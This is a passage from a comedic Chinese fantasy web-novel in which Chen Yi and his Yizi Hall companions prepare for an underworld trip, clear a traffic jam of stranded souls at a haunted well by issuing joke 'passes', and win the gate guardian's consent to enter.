可“阴曹地府”这四个字,是刻在每个活人骨子里的终极禁忌。
“哥,这……这不是超纲,这是要命啊!”老七舌头都在打结,“咱是阳间的匠人,给活人办事。这跨界去阴间抢……不,去取东西,阎王爷能乐意?”
“我欠了账,就得还。这是规矩。”陈义的目光扫过众人,“他乐不乐意,东西都得给我备好。”
他声音一顿,看着一张张煞白的脸。
“这次,九死一生。谁怕,现在可以走。”
“哥,**放的什么屁!”
大牛第一个炸了,他蒲扇般的大手狠狠一拍胸口,那身堪比岩石的肌肉发出闷雷般的巨响。
“义字堂有一个孬种吗?别说去酆都,你就是要去把阎王殿当棺材给抬回来,老子也给你把杠木扛稳了!”
“对!大牛哥说得对!”
“干了!不就是个鬼城吗?老子倒要看看,油锅是不是真能炸鬼!”
众人被大牛一激,血气上涌,先前的恐惧被一股悍不畏死的狠劲儿冲散。
陈义看着这群生死兄弟,心中一暖。
“行了。”
他摆了摆手。
“既然都不怕死,那就准备开工。”
接下来的三天,苏家老宅彻底变成了一个为阴间之行服务的诡异工坊。
这里的准备工作,比以往任何一次都更加邪门。
胖三把自己锁在屋里,几乎没合过眼。
他面前的桌子上,堆满了黄纸、朱砂,还有一摞厚厚的、从特殊渠道搞来的……户籍档案。
“哥,我快疯了!”胖三顶着两个浓重的黑眼圈,像个怨鬼一样飘到陈义面前,手里捧着一沓刚用针式打印机打出来的黄纸。
“我研究了一辈子阳间户口本,这阴间的‘路引’,我哪知道怎么写啊!万一格式不对,人家不认怎么办?咱这算偷渡啊!”
陈义接过一张。
只见那黄纸上,抬头用朱砂印着一行大字:“阴曹地府考察团·临时通行证”。
姓名:陈义。
性别:纯爷们。
籍贯:阳间。
事由:帮领导(老祖宗)取个东西。
目的地:酆都城CBD(中央商务区)。
审批人签名栏,龙飞凤舞地签着两个大字:胖三。
后面甚至还盖了个萝卜刻的章——“义字堂外勤部”。
陈义的额角青筋狠狠抽动了一下。
“你管这玩意儿,叫路引?”
“不然呢?”胖三理直气壮,“仪式感!我寻思着,地府也得现代化办公吧?咱这是正规手续,盖了章的!”
陈义懒得跟他掰扯,直接将人皇印往桌上一顿。
他口中念动古老敕令,指尖引动【虚空之鳞】的力量。
嗡——!
人皇印爆发出刺目金光,与虚空之力交织,化作无数蕴含着“存在”与“虚无”双重法则的符文,如活物般烙印在那些滑稽的“通行证”上。
原本的打印字迹瞬间被古朴威严的金色篆文覆盖,纸张边缘燃起混沌色的微光,一股跨越阴阳的规则气息弥漫开来。
胖三看得眼珠子都直了,他试探着伸手一摸,指尖立刻传来被针扎般的刺痛,仿佛触碰到了一堵无形的规则壁垒。
“**!”他怪叫一声,“哥,你这是给路引……开光了啊!这下别说酆都,我看拿着它去天庭都能混个脸熟!”
另一边,猴子和老七的工作也陷入了僵局。
他们围着“七巧分金盘”,不眠不休地推演。
酆都鬼城的入口,并非固定坐标,而是阴阳两界交错时,偶尔出现的“时空裂缝”,如同一道流动的伤疤。
分金盘的指针疯狂抽搐,时而指向地心,时而指向云端,根本无法锁定。
“不行!阴间法则的排斥太强了!”猴子满头大汗,脸色惨白。
“用这个。”
陈义抛过去一样东西。
正是那柄从冥界审判官手中缴获的巨大黑色镰刀。
神性虽失,但那纯粹的死亡规则,却是不折不扣的阴间硬通货。
猴子眼睛爆亮,立刻将镰刀横在分金盘旁。
嗡!
分金盘的指针像是被磁石吸住的铁屑,瞬间停止了狂乱的颤抖,以一种极其缓慢却无比坚定的姿态,开始缓缓移动。
三天后的黄昏,指针终于定格。
西南,四川盆地深处。
一个早已在地图上被除名的废弃之地——黑水镇。
指针的尽头,死死锁定在镇子中央,一口荒废了不知多少年的枯井。
“时间。”陈义问。
“今晚,亥时三刻。”老七的声音里带着劫后余生的颤抖,“门开一炷香,错过,等一个甲子。”
与此同时,大牛也完成了他的杰作。
一口小巧的棺材,通体由百年雷击桃木打造,漆黑如墨。
棺材里没有尸体,却装满了世间最活色生香的“阳气”。
有九十九枚沾了人气和铜臭的铜钱,有屠夫用了三十年的斩骨刀,有刚满月婴儿穿过的贴身小衣,甚至还有几本胖三哭着喊着贡献出来的、封面花花绿绿的珍藏版杂志。
“哥,这‘诱饵棺’,真能行?”大牛挠了挠头,“鬼……能喜欢这些?”
“鬼,也曾是人。”陈义的目光幽深,“七情六欲,贪嗔痴念,**,债却没还完。这些,就是它们在阳间放不下的债。”
万事俱备。
当晚,一行人乘坐军方**的静音运输机,如鬼魅般降
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落在黑水镇外。
残垣断壁在惨白的月光下,勾勒出一个个狰狞的剪影。
众人直奔镇子中央的枯井。
井口黑洞洞的,往下看,只有深不见底的死寂,仿佛能吞噬一切光线和声音。
时间,一分一秒流逝。
亥时三刻,钟声仿佛从另一个世界传来。
异变陡生!
风停了。
虫鸣消失了。
整个世界,陷入了绝对的真空。
紧接着,那口枯井中,缓缓升起一团拳头大小的、惨绿色的磷火。
磷火摇曳,光芒所及之处,井底不再是黑暗,而是出现了一条由森森白骨铺成的、盘旋向下的幽深小路。
一股阴寒到足以冻结灵魂的阴风,从井口倒灌而出。
“鬼门……开了!”张金城牙关打颤。
“准备。”陈义说着,就要第一个下去。
“等等。”
一个苍老、嘶哑,如同两块砂石在摩擦的声音,毫无征兆地在众人身后响起。
所有人浑身汗**倒竖,猛地回头。
不知何时,一个佝偻着背的老婆婆,正坐在井边的一块石头上。
她穿着一身洗到发白的青布衣,满脸的皱纹深得能夹死蚊子,手里正慢悠悠地编织着一根麻绳。
她仿佛从天地初开时,就坐在这里。
她那双眼睛,没有一丝属于老人的浑浊。
那是两点纯粹的、不含任何杂质的漆黑,死死地盯着陈义。
被那双眼睛看着,众人感觉自己的魂魄都像要被抽离身体。
“黄泉路,活人止步。”
老婆婆抬起头,一字一句,声音不大,却像一柄无形的巨锤,狠狠砸在每个人的神魂之上。
“此乃天规。”
话音落下的瞬间,一股古老、浩瀚、无法抗拒的规则之力,化作一堵透明的墙壁,死死封住了井口。
这不是法术,不是阵法。
这是秩序本身。
陈义停下脚步。
他能感觉到,眼前这个老婆婆,不是鬼王,也不是妖魔。
她就是这道规则,是这扇“门”的看守。
硬闯,就是对抗整个阴曹地府的秩序。
老婆婆不再看他们,只是低头,继续编织着手里那根仿佛永远也编不完的麻绳。
但那堵无形的墙,却越来越厚重,压得众人几乎喘不过气。
“哥……”胖三急得满头是汗。
陈义看着那个老婆婆,看着她手里那根维系着阴阳秩序的麻绳,沉默了片刻。
他忽然笑了。
他迈步上前,在那堵无形的墙前站定。
“规矩是死的,人是活的。”
他的声音,打破了这片令人窒息的死寂。
“我今天来,不是破你的规矩。”
老婆婆编织的动作,第一次停顿了。
她缓缓抬起头,那双黑洞般的眼睛里,终于泛起一丝波澜。
“那你是来做什么?”
陈义嘴角的弧度,在惨绿色的磷光下,显得玩味而又霸道。
“我是来……送快递的。”
第183章 阴间KPI,我来扛!
“送快递?”
老婆婆织着麻绳的手指停滞了一瞬,那张万古不变的树皮脸上,第一次出现了类似“思考”的痕迹。
她身上的气息冰冷如铁,是秩序本身,是规则的具象化。
“黄泉路,只渡亡魂。”
“不收活物。”
她的声音没有起伏,像是从地府最深处的寒铁上刮擦而过。
“这是铁律。”
“铁律,是为了轮回通畅。”陈义向前踏出一步,周身那股来自阴间规则的恐怖压力,在他面前如微风拂面。
他没有看她。
他的目光,穿透了现实,落向那口喷薄着惨绿幽光的古井。
“可你的路,现在还通吗?”
陈义心念微动,识海中那面布满裂痕的病历铜镜骤然亮起。
嗡!
镜中浮现的,不再是具体的病灶。
那是一幅炼狱般的绘卷。
一条被无穷魂魄彻底堵死的漆黑长路。
新死的魂魄挤不进去,该投胎的魂魄走不出来,它们层层叠叠,密密麻麻,像被压缩到极致的罐头。绝望、茫然、怨毒……亿万负面情绪汇聚成实质的黑色浓雾,让整条黄泉路都散发着腐烂的恶臭。
阴间的交通系统,已然瘫痪。
这是他之前在泰山送大殡、在长城结工钱、强行挽回江河龙脉的连锁反应。
阳间留下了太多本该死去的人,阴间的KPI,崩了。
“你的路,堵了。”
陈义的声音很轻,却像一道天宪敕令,狠狠砸在老婆婆的神魂深处。
“阴魂滞留,轮回淤塞。”
“再这么下去,阴阳失衡,你这鬼门关,不等外人来拆,自己就得从根上烂掉。”
编织麻绳的动作,彻底停下。
老婆婆猛然抬头,那双只剩下纯粹漆黑的眼瞳,第一次爆发出骇人的光,死死钉在陈义身上。
她所代表的这套古老系统,正面临着最致命的崩溃,而眼前这个活人,一语道破天机。
她只是个门房,一个权限低得可怜的守关者。
路堵了,她比谁都急,却无能为力。
“你……究竟是谁?”
“一个专治疑难杂症的郎中。”
陈义笑了,指了指自己,然后又指向那口拥堵的井。
“现在,我给你一个解决方案。”
“我,帮你清路。”
“我义字堂,不光抬**棺,也开阴阳道。积压的阴魂,我给你送到该去的地方。”
“作为交换,你让我过去。”
老婆婆沉默了,眼神里的怀疑几乎化为实质。
清路?
谈何容易!
那积压了数百年、数千万的阴魂,其中枉死者不计其数,怨气足以污秽神佛。
就凭他和他身后这几个活人?
痴人说梦!
陈义看穿了她的想法,懒得解释。
他只是回头,对胖三递了个眼色。
“胖三,开坛!”
“唱名,发‘轮回过所’!”
“得嘞哥!”
胖三早就憋不住了。
他摩拳擦掌,从背包里“哐当”一声,直接掏出一张乌木供桌,重重砸在井边。
这现代化的动作,与周围阴森诡异的气氛形成了极其荒诞的对比。
老婆婆的眼角剧烈抽搐。
胖三却不管不顾,他清了清嗓子,将一沓盖着鲜红人皇印的空白“路引”往桌上一拍,又掏出了一个黄铜大喇叭。
“哎!下面的各位‘老乡’!都别挤,别抢!”
“排好队,一个个来!今天管够!”
他对着井口那无尽的魂潮放声大吼,那架势,不像阴间使者,倒像是在灾区发放救援物资的红十字会会长。
井中魂潮被这股突如其来的纯阳之气一冲,瞬间**。
陈义不动声色,将一缕紫金龙气渡入胖三体内。
胖三只觉腰杆瞬间挺直,底气暴涨万丈,仿佛自己成了真正的阴天子。
他拿起一份路引,朱砂笔悬空一点,对着井下,开始了他代天行权的表演。
“张三!南阳人士,殁于景泰三年,滞留五百六十九年!阳寿已尽,尘缘已了!”
“准予通行!”
他暴喝一声,手中路引无火自燃,化作一道金光,精准无比地射入一个茫然的老魂眉心。
那老魂浑身剧震,眼中亿万年的混沌瞬间清明。
他低头看看自己半透明的双手,又抬头看看岸上的陈义,脸上露出大解脱的狂喜,对着这边方向深深一揖,转身融入黄泉路深处,再无阻碍。
老婆婆的嘴巴,无声地张开,足以塞进一颗鸭蛋。
“下一个!王二麻子!临安人士,死于……”
胖三彻底上头了。
他发现这活儿简直是为他量身打造,不用打生打死,只需动动嘴皮子,就能体验一把言出法随、执掌轮回的至高快感。
他甚至开始即兴加戏。
“李家妹子!滞留两百年!哎,看你一生坎坷,本官心有不忍,特批你‘优先投胎’,下辈子,许你个富贵安康的好人家!拿着,这是你的凭证!”
一道金光飞下。
“赵屠户!好家伙,怨气这么冲?行!本官
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法外开恩,给你‘还阳假’三日,回去看看你的重孙,了却执念!记住,三天后准时回来销假,逾期后果自负!”
又一道金光飞下。
这哪里是疏通阴路?
这分明是在进行“阴间精准扶贫”!是在“人性化执法”!
那些原本暴戾、焦躁的魂魄,此刻竟真的老老实实排起了长队,眼中充满了对“指标”和“凭证”的渴望。
每一个领到自己“过所”的魂魄,都如获至宝,对着岸上千恩万谢,然后规规矩矩地踏上轮回之路,秩序井然。
井口那拥堵了千百年的魂潮,正以肉眼可见的速度飞快消解。
老婆婆已经彻底僵住,化作了一尊石像。
她守着这鬼门关不知多少岁月,何曾见过如此离谱,又如此高效的景象?
用阳间的规矩,解决阴间都束手无策的历史遗留问题?
她看着那个坐在供桌后,翘着二郎腿,拿着大喇叭吆五喝六的胖子。
又看了看那个负手立于一旁,神情淡漠,仿佛只是在调度一个超大型交通枢纽的年轻人。
她终于明白了。
这个男人,他不是来挑衅规矩的。
他……本身就是一种更高级,更霸道的规矩!
人皇,代天牧民。
这“民”,既包括生者,也包括死魂!
不知过了多久,当胖三喊得口干舌燥,发下最后一张“过所”后,井口的拥堵,已然烟消云散。
黄泉路上,畅通无阻。
老婆婆缓缓站起身,那佝偻了万年的脊背,似乎都挺直了一分。
她走到陈义面前,那双纯黑的眼瞳里,第一次流露出清晰的……敬畏。
她对着陈义,深深地,弯下了腰。
一个亘古不变的规则,向一个更新、更强的规则,低头。
而后,她默默退到一旁,让开了那条通往地府深处的道路。
“路,开了。”
她的声音不再冰冷,多了一丝复杂的告诫。
“但记住,酆都城里,有比我更古老的‘债’。”
“你好自为之。”
陈义点了下头,算是承了这份情。
他转过身,看着身后早已目瞪口呆的兄弟们,一挥手。
“义字堂。”
“出差。”
话音落下,他第一个迈步,踏入了那深不见底的惨绿光井。
身影一闪,便被无尽的黑暗吞噬。
“跟上!”
大牛低吼一声,扛起杠木,带着众人,义无反顾地跟了上去。
一场前往阴曹地府的“业务”,正式拉开序幕。